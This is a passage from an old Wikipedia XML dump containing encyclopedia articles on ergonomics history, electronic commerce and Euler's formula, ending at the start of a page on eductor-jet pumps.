Later in the 19th century, [[Frederick Winslow Taylor]] pioneered the &quot;[[Scientific Management]]&quot; method, an approach that sought the single best method to perform a job and its tasks. By incrementally reducing the size and weight of coal shovels until the optimum shoveling rate was reached, Taylor tripled the amount of coal that workers could shovel in a day. Frank and Lilian [[Gilbreth]], in the early [[1900s]], expanded Taylor's methods to develop &quot;Time and Motion Studies&quot; that aimed to improve efficiency by eliminating unnecessary steps and actions. By applying this approach, the Gilbreths reduced the number of motions in bricklaying from 18 to 4.5, allowing bricklayers to increase their pace of laying bricks from 120 to 350 bricks per hour.

[[World War II]] marked the advent of highly sophisticated machines and weaponry, creating previously unseen cognitive demands on operators in terms of decision-making, attention, situational awareness and hand-eye coordination. It was observed that perfectly working aircraft, flown by the best-trained pilots, still crashed. In [[1943]], [[Alphonse Chapanis]], a lieutenant in the U.S. Army, showed that &quot;pilot error&quot; could be greatly reduced when more logical and differentiable controls replaced confusing designs in airplane cockpits. 

In the decades following the war and leading to today, ergonomics has continued to flourish and diversify. The [[Space Age]] created new human factors issues such as weightlessness and extreme [[G-force]]s. To what extent could these environments be tolerated and what effects would they have on the mind and body? The [[Information Age]] has spawned the field of [[human-computer interaction]] (HCI) while the growing demand for and competition among [[consumer goods]] and [[electronics]] has resulted in more companies heeding human factors in product design.



==Foundations==

Ergonomics draws on many disciplines in its study of humans and their environments, including [[anthropometry]], [[biomechanics]], [[engineering]], [[kinesiology]], [[physiology]] and [[psychology]].

Typically, an ergonomist will have a BA or BS in Psychology, Industrial/Mechanical Engineering or Health Sciences, and usually a MA, MS or PhD in a related discipline. Many universities offer Master of Science degrees in Ergonomics, while some offer Master of Ergonomics or Master of Human Factors degrees.

==Applications==

The more than twenty technical subgroups within the Human Factors and Ergonomics Society, HFES, indicate the range of applications for ergonomics. Human factors engineering continues to be successfully applied in the fields of [[aerospace]], aging, health care, [[Information technology|IT]], product design, transportation, training, nuclear and virtual environments, among others. Kim Vicente, a University of Toronto Professor of Ergonomics, argues that the nuclear disaster in [[Chernobyl]] is attributable to plant designers not paying enough attention to human factors. &quot;The operators were trained but the complexity of the reactor and the control panels nevertheless outstripped their ability to grasp what they were seeing [during the prelude to the disaster].&quot; 

Human factors issues arise in simple systems and consumer products as well. Some examples include cellular telephones and other handheld devices that continue to shrink yet grow more complex (a phenomenon referred to as &quot;creeping featurism&quot;), millions of VCRs blinking &quot;12:00&quot; across the world because very few people can figure out how to program them, or alarm clocks that allow sleepy users to inadvertently turn off the alarm when they mean to hit 'snooze'. A [[user-centered design]] (UCD), also known as a systems approach or the usability engineering lifecycle aims to improve the user-system fit.



==Resources==

'''Books'''&lt;br&gt;
''Ergonomics for Beginners'' - Jan Dul and Bernard Weerdmeester - A classic introduction on ergonomics - Original title: Vademecum Ergonomie (Dutch) -published and updated since 1960's.&lt;br&gt;
''Bodyspace'' - Stephen Pheasant - A classic exploration of ergonomics.&lt;br&gt;
''The Human Factor'' - Kim Vicente - Full of examples and statistics illustrating the gap between existing technology and the human mind, with suggestions to narrow it.&lt;br&gt;
''The Design of Everyday Things'' - Donald Norman - An entertaining user-centered critique of nearly every gadget out there (at the time it was published).&lt;br&gt;
''Evaluation of Human Work'' - Wilson &amp; Corlett - A practical ergonomics methodology. Warning: very technical and not a suitable 'intro' to ergonomics.&lt;br&gt;
''Engineering Psychology and Human Performance'' - Wickens and Hollands - Discusses memory, attention, decision making, stress and human error, among other topics.&lt;br&gt;
''The Measure of Man &amp; Woman'' - Henry Dreyfuss Associates - A human factors design manual that has controversial elements.&lt;br&gt; 


'''Peer-Reviewed Publications'''&lt;br&gt;
(between brackets mean ISI impact factor 2001-2003) 

''Ergonomics'' (0.747)&lt;br&gt; 
''Applied Ergonomics'' (0.738)&lt;br&gt;
''Human Factors'' (0.723) &lt;br&gt;
''International Journal of Industrial Ergonomics'' (0.395)&lt;br&gt;
''Human Factors and Ergonomics in Manufacturing'' (0.311)&lt;br&gt;
''Travail Humain (0.260)&lt;br&gt;
''Theoretical Issues in Ergonomics Science'' (-)&lt;br&gt;
''International Journal of Occupational Safety and Ergonomics'' (-)&lt;br&gt;


'''Other Publications'''
* [http://www.ergoweb.com/news Ergonomics Today&amp;#8482;] - Ergoweb regularly updates ergonomics-related news and information (free).
* [http://www.ergoweb.com/ergobuyer Ergobuyer&amp;#174;] - ErgoWeb Buyer's Guide to ergonomics-related products and services (free).
* [http://www.crcpress.com/shopping_cart/categories/categories_products.asp?parent_id=1164 CRC / Taylor and Francis books about ergonomics and human factors]


'''Organizations'''
* [http://www.iea.cc/ IEA] International Ergonomics Association 
* [http://www.bcpe.org Board of Certification in Professional Ergonomics] (BCPE) - Established in 1990 as an independent nonprofit organization, the BCPE is the certifying body for individuals whose education and experience indicate broad expertise in the practice of human factors/ergonomics.
* [http://www.ace-ergocanada.ca/ ACE] Association of Canadian Ergonomists 
* [http://www.hfes.org/ HFES] Human Factors and Ergonomics Society - USA 


'''Websites'''
* [http://www.humanics-es.com/recc-ergonomics.htm Ergonomics research: Anthropometrics, ergonomic tools, product design, workplace ergonomics, injury data]
* [http://www.humanics-es.com/ergonomics.htm More about ergonomics and its history; workplace safety; guidelines &amp;amp; standards]
*[http://www.usernomics.com/user-interface-design.html Usernomics] &amp;mdash; Resources and consulting for user interface design and usability testing

==See also==

*[[Human factors]]
*[[Human computer interaction]]
*[[Systems engineering]]


[[Category:Ergonomics]]

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      <text xml:space="preserve">:'''''see also: [[Electronic business]]''' (to be merged?)''

'''Electronic commerce''', '''e-commerce''' or '''ecommerce''' consists primarily of the distributing, buying, selling, [[marketing]], and servicing of [[product (business)|products]] or [[service]]s over electronic systems such as the Internet and other [[computer network]]s. The [[information technology]] industry might see it as an [[electronic business]] application aimed at commercial transactions. It can involve electronic funds transfer, [[supply chain management]], [[e-marketing]], [[online marketing]], online transaction processing, [[EDI | electronic data interchange]], automated inventory management systems, and automated data-collection systems. It typically uses electronic communications technology such as the [[Internet]], [[extranet]]s, e-mail, Ebooks, databases, and mobile phones. 

According to [[Forrester Research]] (as cited in Kessler, 2003), electronic commerce generated sales worth [[U.S. dollar| US $]]12.2 billion in [[as of 2003 | 2003]].

==Historical development==
The meaning of the term &quot;electronic commerce&quot; has changed over time. Originally, &quot;electronic commerce&quot; meant the facilitation of commercial transactions electronically, usually using technology like [[Electronic Data Interchange]] (EDI, introduced in the late 1970s) to send commercial documents like [[purchase order]]s or [[invoice]]s electronically. 

Later it came to include activities more precisely termed &quot;Web commerce&quot; -- the purchase of goods and services over the [[World Wide Web]] via secure servers (note [[HTTPS]], a special server [[protocol (computing)|protocol]] which [[encryption|encrypts]] confidential ordering data for customer protection) with e-[[shopping cart]]s and with electronic pay services, like [[credit card]] payment authorizations.

When the Web first became well-known among the general public in 1994, many journalists and pundits forecast that e-commerce would soon become a major economic sector.  However, it took about four years for security protocols (like HTTPS) to become sufficiently developed and widely deployed (during the [[browser wars]] of this period).  Subsequently, between 1998 and 2000, a substantial number of businesses in the United States and Western Europe developed rudimentary Web sites.  

Although a large number of &quot;pure e-commerce&quot; companies disappeared during the [[dot-com]] collapse in 2000 and 2001, many &quot;brick-and-mortar&quot; retailers recognized that such companies had identified valuable niche markets and began to add e-commerce capabilities to their Web sites.  For example, after the collapse of online grocer [[Webvan]], two traditional supermarket chains, [[Albertsons]] and [[Safeway]], both started e-commerce subsidiaries through which consumers could order groceries online.  

As of [[2005]], e-commerce has become well-established in major cities across much of North America, Western Europe, and certain East Asian countries like South Korea.  However, e-commerce is still emerging slowly in some industrialized countries, and is practically nonexistent in many [[Third World]] countries.

Electronic commerce has unlimited potential for both developed and developing nations, offering lucrative profits in a highly unregulated environment.

==Success factors in e-commerce==
===Technical &amp; Organizational===
In many cases, an e-commerce company will survive not only based on its product, but by having a well-organized business structure and a secure, well-designed website. Such factors include:

#Providing an easy and secure way for customers to order. [[Credit cards]] are the most popular means of sending payments on the internet, accounting for 90% of online purchases. Card numbers are transferred securely between the customer and merchant through independent [[payment gateway|payment gateways]], such as [[authorize.net]].
#Providing reliability and [[security]]. [[Parallel computing | Parallel server]]s, [[hardware]] [[redundancy]], [[fail safe | fail-safe]] [[technology]], information [[encryption]], and [[Firewall (networking)|firewalls]] can enhance this requirement.
#Providing a 360-degree view of the customer [[relationship]], defined as ensuring that all employees, suppliers, and partners have a complete view, and the same view, of the customer. However, customers may not appreciate the [[big brother]] experience.
#Constructing a commercially sound [[business model]]. If this key success factor had appeared in textbooks in 2000, many of the [[dot-com | dot.com]]s might not have gone bust.
#Engineering an electronic [[value chain]] in which one focuses on a &quot;limited&quot; number of [[core competency|core competencies]] -- the opposite of a one-stop shop. (Electronic stores can appear either specialist or generalist if properly programmed.)
#Operating on or near the [[cutting edge]] of [[technology]] and staying there as technology changes (but remembering that the fundamentals of commerce remain indifferent to technology).
#Setting up an [[organization]] of sufficient alertness and agility to respond quickly to any changes in the economic, social and physical [[natural environment|environment]].
#Providing an attractive website. The tasteful use of colour, graphics, [[animation]], photographs, fonts, and white-space percentage may aid success in this respect.
#Streamlining [[business process]]es, possibly through [[reengineering | re-engineering]] and [[information technology | information technologies]].

Naturally, the E-commerce vendor must also perform such mundane tasks as being truthful about its product and its availability, shipping reliably, and handling complaints promptly and effectively. An unique property of the Internet environment is that individual customers have access to far more information about the seller than they would find in a brick-and-mortar situation.

===Customer-Oriented===
A successful e-commerce organization must also provide an enjoyable and rewarding experience to its customers. Many factors go into making this possible. Such factors include:

#Providing value to [[customer]]s. [[Vendor]]s can achieve this by offering a product or product-line that attracts potential customers at a competitive price, as in non-electronic commerce.
#Providing [[service]] and [[performance]]. Offering a responsive, user-friendly [[purchasing]] experience, just like a flesh-and-blood retailer, may go some way to achieving these goals.
#Providing an incentive for [[customer]]s to buy and to return. [[Sales promotion]]s to this end can involve [[coupon]]s, special offers, and [[discounts and allowances | discount]]s. Cross-linked websites and [[affiliate marketing|advertising affiliate program]]s can also help.
#Providing personal attention. Personalized web sites, purchase suggestions, and personalized special offers may go some of the way to substituting for the face-to-face human interaction found at a traditional [[point of sale]].
#Providing a sense of [[community]]. [[Chat room]]s, [[Internet forum|discussion boards]], soliciting customer input and [[loyalty program]]s (sometimes called affinity programs) can help in this respect. 
#Owning the customer's total experience.  E-tailers foster this by treating any contacts with a customer as part of a total experience, an experience that becomes synonymous with the [[brand]].
#Letting customers help themselves. Provision of a self-serve site, easy to use without assistance, can help in this respect.
#Helping customers do their job of [[consumerism | consuming]]. [[E-tailer]]s and [[online shopping directories]] can provide such help through ample comparative information and good [[search engine|search facilities]]. Provision of [[component]] information and [[safety]]-and-[[health]] comments may assist e-tailers to define the customers' job.

==E-commerce problems==
Even if a provider of E-commerce goods and services rigorously follows these seventeen &quot;key factors&quot; to devise an exemplary e-commerce strategy, problems can still arise.  Sources of such problems include:
#Failure to understand [[customer]]s, why they buy and how they buy. Even a product with a sound value proposition can fail if producers and retailers do not understand customer habits, expectations, and motivations. E-commerce could potentially mitigate this potential problem with proactive and focused marketing research, just as traditional retailers may do.
#Failure to hire the right people. (??) Most companies hire people that don't even know how to use the internet correctly. They didn't know what could be done, what couldn't. They came up with crazy ideas that technologically impossible to do in the web. If you look closely, the successful dotcom has internet-junkies behind it, not some MBA copy-cat successful-dot-commers wannabe. 
#Failure to consider the [[competition|competitive]] situation. One may have the capability to construct a viable book e-tailing [[business model]], but lack the will to compete with [[Amazon.com]].
#Inability to predict environmental reaction. What will competitors do? Will they introduce competitive [[brand]]s or competitive web sites? Will they supplement their service offerings? Will they try to sabotage a competitor's site? Will [[price war]]s break out? What will the [[government]] do? Research into competitors, industries and markets may mitigate some consequences here, just as in non-electronic commerce.
#Over-estimation of resource competence. Can staff, hardware, software, and processes handle the proposed strategy? Have e-tailers failed to develop employee and management [[skill]]s? These issues may call for thorough resource planning and employee training.
#Failure to coordinate. If existing reporting and control relationships do not suffice, one can move towards a flat, accountable, and flexible [[organizational structure]], which may or may not aid coordination.
#Failure to obtain senior management commitment. This often results in a failure to gain sufficient corporate resources to accomplish a task. It may help to get top management involved right from the start.
#Failure to obtain employee commitment. If planners do not explain their strategy well to employees, or fail to give employees the whole picture, then training and setting up incentives for workers to embrace the strategy may assist.
#Under-estimation of time requirements. Setting up an e-commerce venture can take considerable time and money, and failure to understand the timing and sequencing of tasks can lead to significant cost overruns. Basic project planning, [[critical path]], [[critical chain]], or [[PERT]] analysis may mitigate such failings. [[Profit]]ability may have to wait for the achievement of [[market share]].
#Failure to follow a [[plan]]. Poor follow-through after the initial planning, and insufficient tracking of progress against a plan can result in problems. One may mitigate such problems with standard tools: benchmarking, milestones, variance tracking, and penalties and rewards for variances.
#Becoming the victim of [[organized crime]].  Many syndicates have caught on to the potential of the Internet as a new revenue stream.  Two main methods are as follows: (1) Using [[identity theft]] techniques like [[phishing]] to order expensive goods and bill them to some innocent person, then liquidating the goods for quick cash; (2) [[Extortion]] by using a network of compromised &quot;zombie&quot; computers to engage in [[Denial-of-service attack|distributed denial of service attacks]] against the target Web site until it starts paying protection money.

==Product suitability==
Certain products/services appear more suitable for online sales; others remain more suitable for offline sales. Many successful purely virtual companies deal with digital products, including information storage, retrieval, and modification, music, movies, education, communication, software, photography, and financial transactions. Examples of this type of company include: [[Google]], [[eBay]] and [[Paypal]]. 

Virtual marketers can sell some non-digital products and services successfully. Such products generally have a high value-to-weight ratio, they may involve embarrassing purchases, they may typically go to people in remote locations, and they may have shut-ins as their typical purchasers. Items which can fit through a standard [[letterbox]] - such as music CDs, DVDs and books - are particularly suitable for a virtual marketer, and indeed [[Amazon.com]], one of the few enduring [[dot-com]] companies, has historically concentrated on this field.

Products such as spare parts, both for consumer items like washing machines and for industrial equipment like centrifugal pumps, also seem good candidates for selling online. Retailers often need to order spare parts specially, since they  typically do not stock them at consumer outlets -- in such cases, e-commerce solutions in spares do not compete with retail stores, only with other ordering systems. A factor for success in this niche can consist of providing customers with exact, reliable information about which part number their particular version of a product needs, for example by providing parts lists keyed by serial number. 

Purchases of [[pornography]] and of other [[sex]]-related products and services fulfil the requirements of both virtuality (or if non-virtual, generally high-value) and potential embarrassment; unsurprisingly, provision of such services has become the most profitable segment of e-commerce.

Products unsuitable for e-commerce include products that have a low value-to-weight ratio, products that have a smell, taste, or touch component, products that need trial fittings - most notably clothing - and products where colour integrity appears important. Nonetheless, [[Tesco.com]] has had success delivering groceries in the [[United Kingdom|UK]], albeit that many of its goods are of a generic quality, and clothing sold through the internet is big business in the U.S.

==Acceptance of e-commerce==
[[Consumer]]s have accepted the e-commerce business model less readily than its proponents originally expected. Even in product categories suitable for e-commerce, electronic shopping has developed only slowly. Several reasons might account for the slow uptake, including:
* Concerns about [[security]].  Many people will not use [[credit card]]s over the Internet due to concerns about theft and [[credit card fraud]]. 
* Lack of instant gratification with most e-purchases (non-digital purchases). Much of a consumer's reward for purchasing a product lies in the instant gratification of using and displaying that product. This reward does not exist when one's purchase does not arrive for days or weeks.  
* The problem of access to web commerce, particularly for poor households and for developing countries. Low [[diffusion (business) | penetration rates]] of Internet access in some [[sector]]s greatly reduces the potential for e-commerce. 
* The social aspect of [[shopping]]. Some people enjoy talking to sales staff, to other shoppers, or to their cohorts: this social reward side of [[retail therapy]] does not exist to the same extent in [[Online Shop|online shopping]].

==Suppliers offering services to electronic commerce practitioners==
===Financial===
* [[PayPal]]
* [[Yahoo!]]
* [[Moneybookers]]
* [[Webmoney]] (Russia)
* PayZip (Singapore)

===Software===
* [[osCommerce]]
* [[eMeta Corporation]]
* [[NetSuite Inc.]]
* [[Wax Digital]]

==Entities using electronic commerce==
*[[Amazon.com]]
*[[eBay]]
*[[exostar]]
*[[rediff.com]]
*[[Smarthome]]
*[[Nuvvo]]

==See also==
*[[Bricks and clicks business model]]
*[[Business-to-business electronic commerce]]
*[[Business-to-consumer electronic commerce]]
*[[Credit card fraud]]
*[[Disintermediation]]
*[[ETrading]]
*[[Electronic business]]
*[[E-marketing]]
*[[Internet fraud]]
*[[Management]]
*[[Marketing]]
*[[Online auction business model]]
*[[Product feeds]]
*[[Reintermediation]]
*[[Secure electronic transaction]] - a credit card security protocol
*[[Web traffic]]

==External links==
*General Information
**[http://www.cio.com/research/ec/ CIO's Ebusiness Research Center]
**[http://www.electronicmarkets.org/ NetAcademy on Electronic Markets]
**[http://www.commercestarterkit.org/ Commerce Starter Kit 2.0] - Free ecommerce software for ASP.NET 2.0 websites
*How-To
**[http://www.shoffy.com/e-commerce/building-your-own-ecommerce-store.htm 1-2-3 eCommerce] - Step-by-Step instruction on how to get started in eCommerce
*Ecommerce News
**[http://ecommerce.internet.com/ Ecommerce Guide]
**[http://www.ec-bp.org/ Ecommerce Best Practices (B2B)]
**[http://www.ecommercetimes.com/ Ecommerce Times]
*Security
**[http://www.quickoverview.com/overviews/ecommerce-safety-howto.html ECommerce Safety - A Quick Overview]
*Consumer Awareness and Education
**[http://nacpec.org North American Consumer Project on Electronic Commerce (NACPEC)]
**[http://icecc.com Institute of Certified E-Commerce Consultants (ICECC)]

==References==
* {{cite book
 | last = Chaudhury | first = Abijit
 | coauthors = Jean-Pierre Kuilboer
 | year = 2002
 | title = e-Business and e-Commerce Infrastructure
 | publisher = McGraw-Hill
 | id = ISBN 0-07-247875-6
 }}
* [http://www.usatoday.com/tech/news/2003-12-22-shoppers_x.htm Kessler, M. (2003). More shoppers proceed to checkout online. Retrieved January 13, 2004]
* {{cite book
 | last = Nissanoff | first = Daniel
 | year = 2006
 | title = '''FutureShop''': How the New Auction Culture Will Revolutionize the Way We Buy, Sell and Get the Things We Really Want
 | publisher = The Penguin Press
 | id = ISBN 1-594-20077-7
 | edition = Hardcover
 | pages = 246 pages
 }}
* {{cite book
 | last = Seybold | first = Pat
 | year = 2001
 | title = Customers.com
 | publisher = Crown Business Books (Random House)
 | id = ISBN 0-609-60772-3
 }}
[[Category:Electronic commerce]]
[[Category:Information technology]]
[[Category:Marketing]]
[[Category:Information technology management]]

[[ar:تجارة إلكترونية]]
[[da:E-handel]]
[[de:Elektronischer Handel]]
[[es:Comercio electrónico]]
[[fi:Verkkokauppa]]
[[fr:Commerce électronique]]
[[he:מסחר אלקטרוני]]
[[id:Perdagangan elektronik]]
[[it:Commercio elettronico]]
[[ja:電子商取引]]
[[lt:Elektroninė komercija]]
[[lv:Elektroniskā komercija]]
[[nl:Electronic commerce]]
[[pl:Handel elektroniczny]]
[[pt:Comércio eletrônico]]
[[ro:Comerţ electronic]]
[[ru:Электронная коммерция]]
[[th:พาณิชย์อิเล็กทรอนิกส์]]
[[uk:Електронна комерція]]
[[vi:Thương mại điện tử]]
[[zh:电子商务]]</text>
    </revision>
  </page>
  <page>
    <title>Euler's formula</title>
    <id>9613</id>
    <revision>
      <id>41771636</id>
      <timestamp>2006-03-01T17:07:30Z</timestamp>
      <contributor>
        <ip>164.107.166.97</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about Euler's formula in ''[[complex analysis]]''. For other meanings, see [[Euler function (disambiguation)|Euler function]].''

[[image:Euler's formula.png|thumb|right|360px]]

'''Euler's formula''', named after [[Leonhard Euler]] (pronounced ''oiler''), is a [[mathematics|mathematical]] formula in the subfield of [[complex analysis]] that shows a deep relationship between the [[trigonometric functions]] and the [[exponential function|complex exponential function]].  ([[Euler's identity]] is a special case of the Euler formula).

Euler's formula states that, for any [[real number]] ''x'',

: &lt;math&gt;e^{ix} = \cos x + i\sin x \!&lt;/math&gt;

where

:''&lt;math&gt;e&lt;/math&gt;'' is the [[e (mathematical constant)|base of the natural logarithm]]

:''&lt;math&gt;i&lt;/math&gt;'' is the [[imaginary unit]]

:&lt;math&gt;\sin&lt;/math&gt; and &lt;math&gt;\cos&lt;/math&gt; are  [[trigonometric function]]s.


[[Richard Feynman]] called Euler's formula &quot;our jewel&quot; and &quot;the most remarkable formula in mathematics&quot; (Feynman, p. 22-10).


==History==

Euler's formula was proved (in an obscured form) for the first time by [[Roger Cotes]] in [[1714]], then rediscovered and popularized by Euler in [[1748]].  Neither of these men saw the geometrical interpretation of the formula: the view of complex numbers as points in the plane arose only some 50 years later (see [[Caspar Wessel]]).

== Applications in complex number theory ==

This formula can be interpreted as saying that the function ''e''&lt;sup&gt;''ix''&lt;/sup&gt; traces out the unit circle in the [[complex number|complex number plane]] as ''x'' ranges through the real numbers.  Here, ''x'' is the [[angle]] that a line connecting the origin with a point on the unit circle makes with the positive real axis, measured counter clockwise and in radians. The formula is valid only if sin and cos take their arguments in radians rather than in degrees. 

The proof is based on the [[Taylor series]] expansions of the [[exponential function]] ''e''&lt;sup&gt;''z''&lt;/sup&gt; (where ''z'' is a complex number) and of sin ''x''  and cos ''x'' for real numbers ''x'' (see below). In fact, the same proof shows that Euler's formula is even valid for all ''complex'' numbers ''x''.

Euler's formula can be used to represent complex numbers in [[coordinates (elementary mathematics)|polar coordinates]].  For any complex number ''z'', we have the following relationships:

:&lt;math&gt; z = x + iy = Ae^{i\phi} \!&lt;/math&gt;

where
:&lt;math&gt; x = \mathrm{Re}\{z\} \!&lt;/math&gt;
:&lt;math&gt; y = \mathrm{Im}\{z\} \!&lt;/math&gt;
:&lt;math&gt; A = |z| \!&lt;/math&gt;
and
:&lt;math&gt; \phi = \angle z \!&lt;/math&gt;

The formula also provides a definition for the [[natural logarithm]] of complex arguments:

:&lt;math&gt;\ln(z) = \ln(Ae^{i\phi}) = \ln(A) + \ln(e^{i\phi}) = \ln(A) + i\phi \!&lt;/math&gt;  

for ''z''&amp;ne;0. Therefore,

:&lt;math&gt; \mathrm{Re} \{ \ln(z) \} = \ln(A) = \ln(|z|) \!&lt;/math&gt;

and

:&lt;math&gt; \mathrm{Im} \{ \ln(z) \} = \phi = \angle z \!&lt;/math&gt;

By using the exponential laws 
: &lt;math&gt;e^{a + b} = e^a \cdot e^{b}&lt;/math&gt;
and
: &lt;math&gt;(e^a)^b = e^{a b} \,&lt;/math&gt;
(which are valid for all complex numbers ''a'' and ''b''), one can also readily derive several [[trigonometric identity|trigonometric identities]] as well as [[de Moivres formula|de Moivre's formula]].

==Relationship to trigonometry==

Euler's formula provides a powerful connection between [[mathematical analysis|analysis]] and [[trigonometry]], and provides an interpretation of the sine and cosine functions as weighted sums of the exponential function:

: &lt;math&gt;\cos x = {e^{ix} + e^{-ix} \over 2}&lt;/math&gt;
: &lt;math&gt;\sin x = {e^{ix} - e^{-ix} \over 2i}&lt;/math&gt;

The two equations above can be derived by adding or subtracting Euler's formulas:
: &lt;math&gt;e^{ix} = \cos x + i \sin x \;&lt;/math&gt;  
: &lt;math&gt;e^{-ix} = \cos x - i \sin x \;&lt;/math&gt;
and solving for either cosine or sine.

These formulas can even serve as the definition of the trigonometric functions for complex arguments ''x''.  For example, letting ''x'' = ''iy'', we have:

:&lt;math&gt; \cos(iy) =  {e^{-y} + e^{y} \over 2} = \cosh(y) &lt;/math&gt;

:&lt;math&gt; \sin(iy) =  {e^{-y} - e^{y} \over 2i} = i \sinh(y) &lt;/math&gt;

==Relationship to the hyperbolic functions==
A second version of Euler's formula involves [[hyperbolic functions]], but it is a simple repetition of an identity used with real numbers.

: &lt;math&gt;e^{ix} = \cosh(i x) + \sinh(i x) \;&lt;/math&gt;

The formulae above can be used to relate the [[hyperbolic sine]] and [[hyperbolic cosine]] functions to the usual trigonometric functions and can likewise be proven using Taylor Series. 

: &lt;math&gt;\cos x = \cosh(i x) \;&lt;/math&gt;
: &lt;math&gt;i \sin x = \sinh(i x) \;&lt;/math&gt;

==Other applications==
In [[differential equations]], the function ''e''&lt;sup&gt;''ix''&lt;/sup&gt; is often used to simplify derivations, even if the final answer is a real function involving sine and cosine.  [[Euler's identity]] is an easy consequence of Euler's formula.

In [[electrical engineering]] and other fields, signals that vary periodically over time are often described as a combination of sine and cosine functions (see [[Fourier analysis]]), and these are more conveniently expressed as the real part of exponential functions with [[imaginary number|imaginary]] exponents, using Euler's formula.

==Proofs==

===Using Taylor series===
Here is a proof of Euler's formula using [[Taylor series]] expansions
as well as basic facts about the powers of ''i'':

: &lt;math&gt;i^0=1 \,&lt;/math&gt;
: &lt;math&gt;i^1=i \,&lt;/math&gt;
: &lt;math&gt;i^2=-1 \,&lt;/math&gt;
: &lt;math&gt;i^3=-i \,&lt;/math&gt;
: &lt;math&gt;i^4=1 \,&lt;/math&gt;
: &lt;math&gt;i^5=i \,&lt;/math&gt;

and so on. The functions ''e''&lt;sup&gt;''x''&lt;/sup&gt;, cos(''x'') and sin(''x'') (assuming ''x'' is [[real number|real]]) can be written as:

: &lt;math&gt; e^x = 1 + x + \frac{x^2}{2!} + \frac{x^3}{3!} + \cdots &lt;/math&gt;

: &lt;math&gt; \cos x = 1 - \frac{x^2}{2!} + \frac{x^4}{4!} - \frac{x^6}{6!} + \cdots
&lt;/math&gt;

: &lt;math&gt; \sin x = x - \frac{x^3}{3!} + \frac{x^5}{5!} - \frac{x^7}{7!} + \cdots
&lt;/math&gt;

and for complex ''z'' we ''define'' each of these function by the above series, replacing ''x'' with ''iz''. This is possible because the radius of convergence of each series is infinite. We then find that

: &lt;math&gt;e^{iz} = 1 + iz + \frac{(iz)^2}{2!} + \frac{(iz)^3}{3!} + \frac{(iz)^4}{4!} + \frac{(iz)^5}{5!} + \frac{(iz)^6}{6!} + \frac{(iz)^7}{7!} + \frac{(iz)^8}{8!} + \cdots&lt;/math&gt;

: &lt;math&gt;= 1 + iz - \frac{z^2}{2!} - \frac{iz^3}{3!} + \frac{z^4}{4!} + \frac{iz^5}{5!} - \frac{z^6}{6!} - \frac{iz^7}{7!} + \frac{z^8}{8!} + \cdots&lt;/math&gt;

: &lt;math&gt;= \left( 1 - \frac{z^2}{2!} + \frac{z^4}{4!} - \frac{z^6}{6!} + \frac{z^8}{8!} + \cdots \right) + i\left( z - \frac{z^3}{3!} + \frac{z^5}{5!} - \frac{z^7}{7!} + \cdots \right) &lt;/math&gt;

: &lt;math&gt;= \cos (z) + i\sin (z) \,&lt;/math&gt;

The rearrangement of terms is justified because each series is absolutely convergent. Taking ''z'' = ''x'' to be a real number gives the original identity as Euler discovered it.

[[Q.E.D.]]

===Using calculus===
Define the complex number &lt;math&gt;z&lt;/math&gt; such that
:&lt;math&gt;z=\cos x + i\sin x \,&lt;/math&gt; (ignoring the modulus term, as this cancels later)
Differentiating &lt;math&gt;z&lt;/math&gt; with respect to &lt;math&gt;x&lt;/math&gt;:
:&lt;math&gt;\frac{dz}{dx}=-\sin x + i\cos x&lt;/math&gt;
Using the fact that ''i''&lt;sup&gt;2&lt;/sup&gt; = -1:
:&lt;math&gt;\frac{dz}{dx}=i^2\sin x + i\cos x=i(\cos x + i\sin x)=iz&lt;/math&gt;
Separating variables and integrating both sides:
:&lt;math&gt;\int\frac{1}{z}\,dz=\int i\,dx&lt;/math&gt;
:&lt;math&gt;\ln z=ix + C\,&lt;/math&gt;
where 

:&lt;math&gt;C&lt;/math&gt; is the constant of integration. 

To finish the proof we have to argue that &lt;math&gt;C&lt;/math&gt; is zero. This is easily done by substituting &lt;math&gt;x=0&lt;/math&gt;.
:&lt;math&gt;\ln z = C\,&lt;/math&gt;
But &lt;math&gt;z&lt;/math&gt; is just equal to:
:&lt;math&gt;z = \cos x + i\sin x = \cos 0 + i \sin 0 = 1 \,&lt;/math&gt;
thus
:&lt;math&gt;\ln 1 = C \,&lt;/math&gt;
:&lt;math&gt;C = 0 \,&lt;/math&gt;
So now we just exponentiate
:&lt;math&gt;\ln z = ix \,&lt;/math&gt;
:&lt;math&gt;e^{\ln z} = e^{ix} \,&lt;/math&gt;
:&lt;math&gt;z = e^{ix} \,&lt;/math&gt;
:&lt;math&gt;e^{ix} = \cos x + i\sin x \,&lt;/math&gt;

''Q.E.D.''

==References==
* Feynman, Richard P., ''The Feynman Lectures on Physics'', vol. I Addison-Wesley ([[1977]]), ISBN 0201020106, ISBN 02010211161

==External links==
*[http://agutie.homestead.com/files/Eulerformula.htm Euler and his beautiful and extraordinary formula] by Antonio Gutierrez from Geometry Step by Step from the Land of the Incas.
*[http://agutie.homestead.com/files/Puzzle_EulerFormula.htm Euler's Formula - Puzzle: 55 pieces in a six star style of piece] by Antonio Gutierrez from Geometry Step by Step from the Land of the Incas.
*[http://www.DJTricities.com/eulers Detailed Proof of Euler's Relation] by Craig Lewis.
*[http://ccrma-www.stanford.edu/~jos/mdft/Proof_Euler_s_Identity.html Proof of Euler's Formula] by Julius O. Smith III
*[http://fermatslasttheorem.blogspot.com/2006/02/eulers-formula.html Euler's Formula and Fermat's Last Theorem]

==See also==
* [[Leonhard Euler]]
* [[Euler's identity]]
* [[Complex number]]
* [[Exponential function]]
* [[Trigonometry]]

[[Category:Complex analysis]]
[[Category:Mathematical theorems]]

[[de:Eulersche Formel]]
[[es:Fórmula de Euler]]
[[fr:Formule d'Euler]]
[[he:&amp;#1504;&amp;#1493;&amp;#1505;&amp;#1495;&amp;#1514; &amp;#1488;&amp;#1493;&amp;#1497;&amp;#1500;&amp;#1512;]]
[[it:Formula di Eulero]]
[[ja:&amp;#12458;&amp;#12452;&amp;#12521;&amp;#12540;&amp;#12398;&amp;#20844;&amp;#24335;]]
[[ko:&amp;#50724;&amp;#51068;&amp;#47084; &amp;#44277;&amp;#49885;]]
[[nl:Formule van Euler]]
[[pl:Wzór Eulera]]
[[ru:Формулы Эйлера]]
[[fi:Eulerin kaava]]
[[sv:Eulers formel]]
[[th:สูตรของออยเลอร์]]
[[vi:Công th&amp;#7913;c Euler]]</text>
    </revision>
  </page>
  <page>
    <title>Eductor-jet pump</title>
    <id>9614</id>
    <revision>
      <id>30531988</id>
      <timestamp>2005-12-08T00:03:07Z</timestamp>
      <contributor>
        <username>JohJak2</username>
        <id>316316</id>
      </contributor>
      <comment>interwiki</comment>
